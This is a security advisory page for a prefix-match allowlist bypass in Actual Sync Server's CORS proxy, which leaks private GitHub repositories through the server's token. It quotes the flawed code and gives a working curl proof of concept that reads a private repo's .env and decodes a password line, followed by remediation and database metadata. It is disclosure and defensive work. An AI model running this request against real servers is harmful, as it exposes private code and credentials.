GHSA-M62C-5Q34-F3CF
Vulnerability from github – Published: 2026-10-07 14:00 – Updated: 2026-10-07 14:00Summary
Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUAL_GITHUB_TOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.
The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also accepts GitHub API URLs such as:
https://api.github.com/repos/acme/plugin-private/contents/.env
https://api.github.com/repos/acme/plugin-secrets/actions/secrets
https://api.github.com/repos/acme/plugin-internal/releases
Those URLs are outside the allowlisted repository but still pass because their API path starts with /repos/acme/plugin. The proxy then forwards the request with the server's ACTUAL_GITHUB_TOKEN, allowing any authenticated Actual user to read private GitHub resources reachable by that token.
Affected Endpoint
GET /cors-proxy?url=...
This endpoint is mounted only when:
if (config.get('corsProxy.enabled')) {
app.use('/cors-proxy', corsApp.handlers);
}
Source: packages/sync-server/src/app.ts:68-70
Details
The CORS proxy is disabled by default but can be enabled through ACTUAL_CORS_PROXY_ENABLED. The GitHub token is configured through ACTUAL_GITHUB_TOKEN:
github: {
token: {
doc: 'GitHub Personal Access Token for API authentication.',
format: String,
default: '',
env: 'ACTUAL_GITHUB_TOKEN',
},
},
corsProxy: {
enabled: {
doc: 'Enable the CORS proxy endpoint.',
format: Boolean,
default: false,
env: 'ACTUAL_CORS_PROXY_ENABLED',
},
},
Source: packages/sync-server/src/load-config.js:280-296
The proxy fetches the plugin allowlist and stores repository URLs:
const response = await fetch(
'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',
);
...
const plugins = await response.json();
allowlistedRepos = plugins.map(plugin => plugin.url);
Source: packages/sync-server/src/app-cors-proxy.js:43-50
The GitHub API check accepts any path that starts with /repos/${repoOwner}/${repoName}:
for (const repoUrl of allowlistedRepos) {
const { pathname } = new URL(repoUrl);
const [, repoOwner, repoName] = pathname.split('/');
if (
targetUrl === repoUrl ||
targetUrl.startsWith(repoUrl + '/') ||
(hostname === 'api.github.com' &&
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||
...
) {
return true;
}
}
Source: packages/sync-server/src/app-cors-proxy.js:84-99
For api.github.com, there is no delimiter after repoName. This means an allowlisted repo named plugin authorizes API requests for plugin-private, plugin-secrets, plugin-internal, and any other repository under the same owner whose name starts with plugin.
After this incorrect allowlist decision, the proxy attaches the server's GitHub token:
const githubToken = config.get('github.token');
if (
githubToken &&
(url.hostname === 'api.github.com' ||
url.hostname === 'raw.githubusercontent.com' ||
(url.hostname === 'github.com' && url.pathname.includes('/releases/')))
) {
requestHeaders['Authorization'] = `Bearer ${githubToken}`;
requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';
}
Source: packages/sync-server/src/app-cors-proxy.js:192-201
Therefore the vulnerable flow is:
- A public plugin repository is allowlisted, for example
https://github.com/acme/plugin. - The same owner has a private repository with a prefix-matching name, for example
acme/plugin-private. - The Actual server has
ACTUAL_CORS_PROXY_ENABLED=true. - The Actual server has
ACTUAL_GITHUB_TOKENwith access toacme/plugin-private. - Any authenticated Actual user calls:
/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env
isUrlAllowed()returns true because/repos/acme/plugin-private/...starts with/repos/acme/plugin.- The proxy sends the request to GitHub with the server token.
- The response is returned to the low-privileged Actual user.
PoC
Preconditions
ACTUAL_CORS_PROXY_ENABLED=true.ACTUAL_GITHUB_TOKENis configured and can read a private repo.- The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.
- The attacker has any valid Actual session token.
Example:
- Allowlisted public repo:
https://github.com/acme/plugin - Private target repo:
https://github.com/acme/plugin-private - Private file:
.env
Manual Reproduction
Step 1: Request a private repo file through the Actual CORS proxy:
curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \
-H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION"
Vulnerable result:
{
"name": ".env",
"path": ".env",
"encoding": "base64",
"content": "UFJPRF9EQl9QQVNTV09SRD0uLi4="
}
Step 2: Decode the returned content field:
echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d
Example decoded output:
PROD_DB_PASSWORD=...
Python PoC
Attached separately as poc_actual_cors_proxy_github_prefix_bypass.py.
The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.
Impact
- Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist.
- Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.
- If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.
- Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.
Recommended Remediation
- Parse and compare GitHub API repository path segments exactly.
- Replace:
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)
with an exact boundary-aware check:
url.pathname === `/repos/${repoOwner}/${repoName}` ||
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)
- Apply the same boundary discipline to every allowlist branch.
- Add regression tests showing that an allowlisted
owner/plugindoes not authorizeowner/plugin-private. - Consider never attaching
ACTUAL_GITHUB_TOKENfor user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 26.6.0"
},
"package": {
"ecosystem": "npm",
"name": "@actual-app/sync-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57449"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-284",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T14:00:45Z",
"nvd_published_at": "2026-09-25T23:16:53Z",
"severity": "HIGH"
},
"details": "## Summary\n\nActual Sync Server\u0027s CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server\u0027s GitHub token to GitHub requests.\n\nThe GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs such as:\n\n```text\nhttps://api.github.com/repos/acme/plugin-private/contents/.env\nhttps://api.github.com/repos/acme/plugin-secrets/actions/secrets\nhttps://api.github.com/repos/acme/plugin-internal/releases\n```\n\nThose URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server\u0027s `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token.\n\n## Affected Endpoint\n\n- `GET /cors-proxy?url=...`\n\nThis endpoint is mounted only when:\n\n```js\nif (config.get(\u0027corsProxy.enabled\u0027)) {\n app.use(\u0027/cors-proxy\u0027, corsApp.handlers);\n}\n```\n\nSource: `packages/sync-server/src/app.ts:68-70`\n\n## Details\n\nThe CORS proxy is disabled by default but can be enabled through `ACTUAL_CORS_PROXY_ENABLED`. The GitHub token is configured through `ACTUAL_GITHUB_TOKEN`:\n\n```js\ngithub: {\n token: {\n doc: \u0027GitHub Personal Access Token for API authentication.\u0027,\n format: String,\n default: \u0027\u0027,\n env: \u0027ACTUAL_GITHUB_TOKEN\u0027,\n },\n},\ncorsProxy: {\n enabled: {\n doc: \u0027Enable the CORS proxy endpoint.\u0027,\n format: Boolean,\n default: false,\n env: \u0027ACTUAL_CORS_PROXY_ENABLED\u0027,\n },\n},\n```\n\nSource: `packages/sync-server/src/load-config.js:280-296`\n\nThe proxy fetches the plugin allowlist and stores repository URLs:\n\n```js\nconst response = await fetch(\n \u0027https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json\u0027,\n);\n...\nconst plugins = await response.json();\nallowlistedRepos = plugins.map(plugin =\u003e plugin.url);\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:43-50`\n\nThe GitHub API check accepts any path that starts with `/repos/${repoOwner}/${repoName}`:\n\n```js\nfor (const repoUrl of allowlistedRepos) {\n const { pathname } = new URL(repoUrl);\n const [, repoOwner, repoName] = pathname.split(\u0027/\u0027);\n\n if (\n targetUrl === repoUrl ||\n targetUrl.startsWith(repoUrl + \u0027/\u0027) ||\n (hostname === \u0027api.github.com\u0027 \u0026\u0026\n url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||\n ...\n ) {\n return true;\n }\n}\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:84-99`\n\nFor `api.github.com`, there is no delimiter after `repoName`. This means an allowlisted repo named `plugin` authorizes API requests for `plugin-private`, `plugin-secrets`, `plugin-internal`, and any other repository under the same owner whose name starts with `plugin`.\n\nAfter this incorrect allowlist decision, the proxy attaches the server\u0027s GitHub token:\n\n```js\nconst githubToken = config.get(\u0027github.token\u0027);\nif (\n githubToken \u0026\u0026\n (url.hostname === \u0027api.github.com\u0027 ||\n url.hostname === \u0027raw.githubusercontent.com\u0027 ||\n (url.hostname === \u0027github.com\u0027 \u0026\u0026 url.pathname.includes(\u0027/releases/\u0027)))\n) {\n requestHeaders[\u0027Authorization\u0027] = `Bearer ${githubToken}`;\n requestHeaders[\u0027User-Agent\u0027] = \u0027Actual-Budget-Plugin-System\u0027;\n}\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:192-201`\n\nTherefore the vulnerable flow is:\n\n1. A public plugin repository is allowlisted, for example `https://github.com/acme/plugin`.\n2. The same owner has a private repository with a prefix-matching name, for example `acme/plugin-private`.\n3. The Actual server has `ACTUAL_CORS_PROXY_ENABLED=true`.\n4. The Actual server has `ACTUAL_GITHUB_TOKEN` with access to `acme/plugin-private`.\n5. Any authenticated Actual user calls:\n\n```text\n/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env\n```\n\n6. `isUrlAllowed()` returns true because `/repos/acme/plugin-private/...` starts with `/repos/acme/plugin`.\n7. The proxy sends the request to GitHub with the server token.\n8. The response is returned to the low-privileged Actual user.\n\n## PoC\n\n### Preconditions\n\n1. `ACTUAL_CORS_PROXY_ENABLED=true`.\n2. `ACTUAL_GITHUB_TOKEN` is configured and can read a private repo.\n3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.\n4. The attacker has any valid Actual session token.\n\nExample:\n\n- Allowlisted public repo: `https://github.com/acme/plugin`\n- Private target repo: `https://github.com/acme/plugin-private`\n- Private file: `.env`\n\n### Manual Reproduction\n\nStep 1: Request a private repo file through the Actual CORS proxy:\n\n```bash\ncurl -s \"http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env\" \\\n -H \"X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION\"\n```\n\nVulnerable result:\n\n```json\n{\n \"name\": \".env\",\n \"path\": \".env\",\n \"encoding\": \"base64\",\n \"content\": \"UFJPRF9EQl9QQVNTV09SRD0uLi4=\"\n}\n```\n\nStep 2: Decode the returned `content` field:\n\n```bash\necho \"UFJPRF9EQl9QQVNTV09SRD0uLi4=\" | base64 -d\n```\n\nExample decoded output:\n\n```text\nPROD_DB_PASSWORD=...\n```\n\n### Python PoC\n\nAttached separately as `poc_actual_cors_proxy_github_prefix_bypass.py`.\n\nThe PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub\u0027s API response is returned to the low-privileged Actual user.\n\n## Impact\n\n- Any authenticated Actual user can use the server\u0027s GitHub token against prefix-matched repositories outside the plugin allowlist.\n- Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.\n- If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.\n- Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.\n\n## Recommended Remediation\n\n- Parse and compare GitHub API repository path segments exactly.\n- Replace:\n\n```js\nurl.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)\n```\n\nwith an exact boundary-aware check:\n\n```js\nurl.pathname === `/repos/${repoOwner}/${repoName}` ||\nurl.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)\n```\n\n- Apply the same boundary discipline to every allowlist branch.\n- Add regression tests showing that an allowlisted `owner/plugin` does not authorize `owner/plugin-private`.\n- Consider never attaching `ACTUAL_GITHUB_TOKEN` for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.",
"id": "GHSA-m62c-5q34-f3cf",
"modified": "2026-10-07T14:00:45Z",
"published": "2026-10-07T14:00:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/actualbudget/actual/security/advisories/GHSA-m62c-5q34-f3cf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57449"
},
{
"type": "PACKAGE",
"url": "https://github.com/actualbudget/actual"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.